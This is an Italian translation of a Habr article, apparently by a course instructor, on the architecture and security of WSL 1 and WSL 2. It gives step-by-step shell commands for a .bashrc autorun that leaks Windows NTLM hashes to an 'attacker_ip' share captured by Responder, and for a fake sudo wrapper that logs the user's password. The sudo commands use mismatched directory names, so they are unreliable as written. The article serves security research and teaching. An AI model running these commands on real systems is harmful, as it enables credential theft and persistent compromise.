Ciao, Habr! A ottobre OTUS lancerà un nuovo corso. In vista dell'inizio del corso, condividiamo con voi un articolo scritto da uno dei nostri insegnanti, Aleksandr Kolesnikov.
Nel 2016, Microsoft ha presentato alla comunità IT una nuova tecnologia WSL (Windows Subsystem for Linux), che permetteva in prospettiva di unire due concorrenti fino ad allora inconciliabili, che si contendevano la popolarità sia tra gli utenti comuni che tra gli esperti di sistemi operativi: Windows e Linux. Questa tecnologia offriva la possibilità di utilizzare gli strumenti di Linux in un ambiente Windows senza dover avviare Linux, ad esempio, attraverso il multiboot. Su Habr puoi trovare un gran numero di articoli che descrivono i vantaggi dell'uso di WSL. Tuttavia, sfortunatamente, al momento della scrittura di questo articolo, non sono state trovate ricerche sulla sicurezza di tale simbiosi tra i sistemi operativi. Questo post cercherà di rimediare. L'articolo affronterà le peculiarità delle architetture WSL 1 e 2 e analizzerà alcuni esempi di attacchi a sistemi che utilizzano queste tecnologie. L'articolo è diviso in due parti. Nella prima verranno presentati i principali metodi teorici di attacco da parte di Linux e Windows. Il secondo articolo includerà la configurazione di un ambiente di test e la riproduzione degli attacchi.
WSL 1: caratteristiche dell'architettura
Per un'immersione più accurata nei problemi di sicurezza di WSL, è necessario definire i principali dettagli legati all'implementazione della sottosistema. Uno dei principali compiti degli utenti risolti da WSL è fornire la possibilità di lavorare attraverso il terminale Linux su un host con il sistema operativo Windows. Inoltre, la compatibilità proposta era così nativa che i file eseguibili Linux (ELF) potevano essere avviati direttamente nel sistema Windows. Per raggiungere questi obiettivi, è stata creata in Windows 10 una sottosistema speciale che consente di eseguire applicazioni Linux tramite un insieme definito di chiamate di sistema, tentando così di mappare l'insieme delle syscall di Linux su Windows. Questo è stato realizzato fisicamente aggiungendo nuovi driver e un nuovo formato di processo. Visivamente, l'architettura appariva in questo modo:
In sostanza, l'interazione con il sistema operativo Linux è stata organizzata tramite diversi moduli del kernel e un tipo speciale di processi: pico. Dallo schema sopra, è evidente che un processo avviato in un'istanza Linux sull'host deve essere nativo e deve utilizzare le stesse risorse delle normali applicazioni Windows. Ma come si può raggiungere questo obiettivo? Nel progetto sono stati sviluppati concetti di processi per Windows che fornivano tutti i componenti necessari del sistema operativo (a seconda della sua versione) per eseguire applicazioni di un altro sistema operativo.
Va notato che l'astrazione proposta permetteva di non fare riferimento al sistema operativo (in particolare — Windows), in cui si prevede l'esecuzione di un processo di un altro sistema operativo, e proponeva un approccio generale.
In questo modo, qualsiasi applicazione all'interno del processo pico poteva funzionare senza dipendere dal kernel di Windows:
- I problemi di compatibilità e la traduzione delle chiamate di sistema devono essere risolti da fornitori specializzati;
- Il controllo degli accessi deve essere effettuato tramite il Monitor di sicurezza. Il Monitor risiede nel kernel e quindi Windows richiedeva un aggiornamento sotto forma di un nuovo driver che potesse fungere da fornitore per tali processi. Il prototipo del processo pico è schematicamente rappresentato qui sotto:
Poiché il file system di Linux utilizza nomi di file e directory case-sensitive, in Windows sono stati aggiunti 2 tipi di file system per lavorare con WSL – VolFS e DriveFS. VolFS è un'implementazione del file system di Linux, DriveFS è un file system che opera secondo le regole di Windows, ma ha la possibilità di scegliere la sensibilità al maiuscolo e al minuscolo dei nomi.
WSL 2
WSL 1 aveva una serie di limitazioni che non permettevano di utilizzarlo per risolvere un ampio spettro di compiti: ad esempio, mancava la possibilità di eseguire applicazioni Linux a 32 bit e non era possibile utilizzare i driver device. Pertanto, nel 2020 è stata rilasciata WSL 2, che ha cambiato l'approccio alla costruzione della sottosistema. WSL 2 è una macchina virtuale ottimizzata che corrisponde alle caratteristiche di WSL 1 in termini di consumo delle risorse. Ora, a seconda dei problemi risolti dall'utente del sistema operativo Windows, è possibile scegliere la versione necessaria della sottosistema per lavorare con Linux. Per mitigare le possibili vulnerabilità, WSL 2 è stato implementato sulla base di Hyper-V in Windows 10. In questo modo, Windows ha la possibilità di eseguire isolate il kernel del sistema operativo Linux. Vale la pena ricordare che la versione 1 di WSL è stata presentata come una funzionalità beta, che doveva dimostrare la direzione di sviluppo di Windows in questo ambito, quindi il passaggio a Hyper-V era inevitabile. L'architettura finale appare così:
In questa versione, i kernel dei sistemi Windows e Linux hanno le proprie risorse e l'intersezione esiste solo nel file system, tuttavia non si può definire completa. L'interazione tra i file system avviene grazie a un wrapper client-server che opera secondo il protocollo 9P.
Al giorno d'oggi, Microsoft offre la possibilità di passare da WSL 1 a WSL 2. Entrambe le versioni sono disponibili per l'uso.
Sicurezza WSL
Attualmente, esistono alcuni studi che descrivono alcuni approcci all'uso di strumenti legittimi del sistema operativo per attaccare l'interazione tra le sottosistemi. Utilizzeremo i loro scenari per testare l'attualità degli attacchi al momento della scrittura dell'articolo. L'elenco generale degli attacchi e degli scenari di attuazione:
1. Implementazione del file system: diritti di accesso, presenza di directory condivise/meccanismi di scambio dati.
Le ricerche sono state condotte riguardo alla violazione delle regole di accesso da Linux FS->Windows FS, Windows FS->Linux FS. Le ricerche hanno dimostrato la possibilità di modificare un file specificato all'interno del sistema operativo target. Sono stati effettuati anche tentativi di sostituzione, creazione di duplicati e cancellazione di parte dei file system.
Scenario:
- A. Attacco dal sistema operativo Windows: modifica dei file nella directory /etc del sistema operativo Linux.
- B. Attacco dal sistema operativo Linux: modifica dei file nelle directory:
C:Windows,C:Program Files,C:Users
2. Implementazione dello stack di rete.
Le ricerche sono state condotte su esempi di attacchi da parte del sistema operativo Linux su Windows. Sono state utilizzate le peculiarità del funzionamento dello stack di rete, in particolare i meccanismi di autenticazione su diverse risorse.
Scenario:
- Accesso aperto alla porta occupata nel sistema Windows
- Apertura della porta in assenza dei diritti appropriati
- Avvio di un reverse shell utilizzando un file elf nel sistema operativo Windows.
3. Nascondere l'avvio dei processi di software dannoso a causa del sottosistema WSL.
Le ricerche si basavano su un semplice fatto: i sottosistemi di protezione non possono effettuare il monitoraggio degli eventi in un altro kernel che utilizza un provider legittimo da parte del sistema operativo nel caso di WSL 1. Nel caso di WSL 2 non c'è possibilità di vedere gli eventi che si verificano in un kernel separato all'interno di una leggera macchina virtuale.
Scenario:
1) Avviare un'applicazione per l'accesso remoto al sistema e visualizzare gli eventi registrati.
Esperimenti WSL 1: cattura dell'hash (OS Windows)
Finalmente siamo arrivati alla parte pratica. Per iniziare, è necessario configurare l'ambiente per i test. Tutti gli esperimenti saranno condotti su una macchina con Windows 10 2004 installato. L'immagine del sistema operativo per WSL è stata scelta sudo come Ubuntu 18.04. L'immagine è stata scelta in modo casuale, e qualsiasi altra funzionerà altrettanto bene. Comandi per configurare la macchina:
Prima di tutto, è necessario avviare powershell.exe come amministratore.
Per WSL 1 è necessario eseguire i comandi:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Abilita la funzione WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Scarica l'immagine Linux dal Microsoft Store
Dopo il riavvio della macchina, è possibile invocare il comando bash. Se tutto ha funzionato correttamente, vedrai un'uscita simile nella console di Windows:
Per la macchina dell'attaccante useremo la distribuzione Kali Linux, tutte le macchine devono trovarsi nella stessa rete locale.
Supponiamo che abbiamo accesso non privilegiato a WSL su una macchina Windows. Proviamo a condurre un attacco al sistema operativo Linux, eseguendo un comando da Linux. Per implementare l'attacco, utilizzeremo una semplice tecnica di esecuzione automatica: aggiungeremo il nostro script da eseguire nell'ambiente Linux. Per fare questo, è necessario modificare il file .bashrc.
Sulla macchina con WSL eseguiamo:
1. bash
2. Accediamo alla directory home dell'utente: cd /home/sam/
3. echo "/home/sam/.attack.sh" >> .bashrc
4. echo "icalcs.exe " \\\\attacker_ip\\shareName\" > /dev/null 2>&1" >> .attack.sh
5. chmod u+x .attack.sh
6. exitSulla macchina Kali Linux eseguiamo:
1. Responder -I eth0 -rdvwSulla macchina Windows avviamo bash.
Aspettiamo il risultato sulla macchina Kali Linux:
In questo modo, abbiamo ottenuto gli hash dell'utente Windows tramite il sottosistema WSL, eseguendo un comando sul sistema Linux.
Esperimenti WSL 1: ottenere la password dell'utente (OS Linux)
Procediamo con un altro esperimento. Durante questa verifica, aggiungeremo al file .bashrc alcuni comandi per ottenere la password dell'utente del sistema operativo Linux.
Avviamo bash e inseriamo i comandi:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Per il successo dell'attacco, è necessario che l'utente Sam esegua sudo nel terminale Linux. Dopo ciò, la password dell'utente del sistema operativo Linux sarà nel file pass.txt:
L'implementazione degli attacchi è stata presentata solo per scopi teorici.
Nella prossima parte dell'articolo sarà descritta l'implementazione del protocollo 9P, verrà discusso come creare uno scanner per questo protocollo, e sarà condotto un attacco utilizzandolo.
Elenco della letteratura utilizzata
Leggi di più
Fonte: habr.com
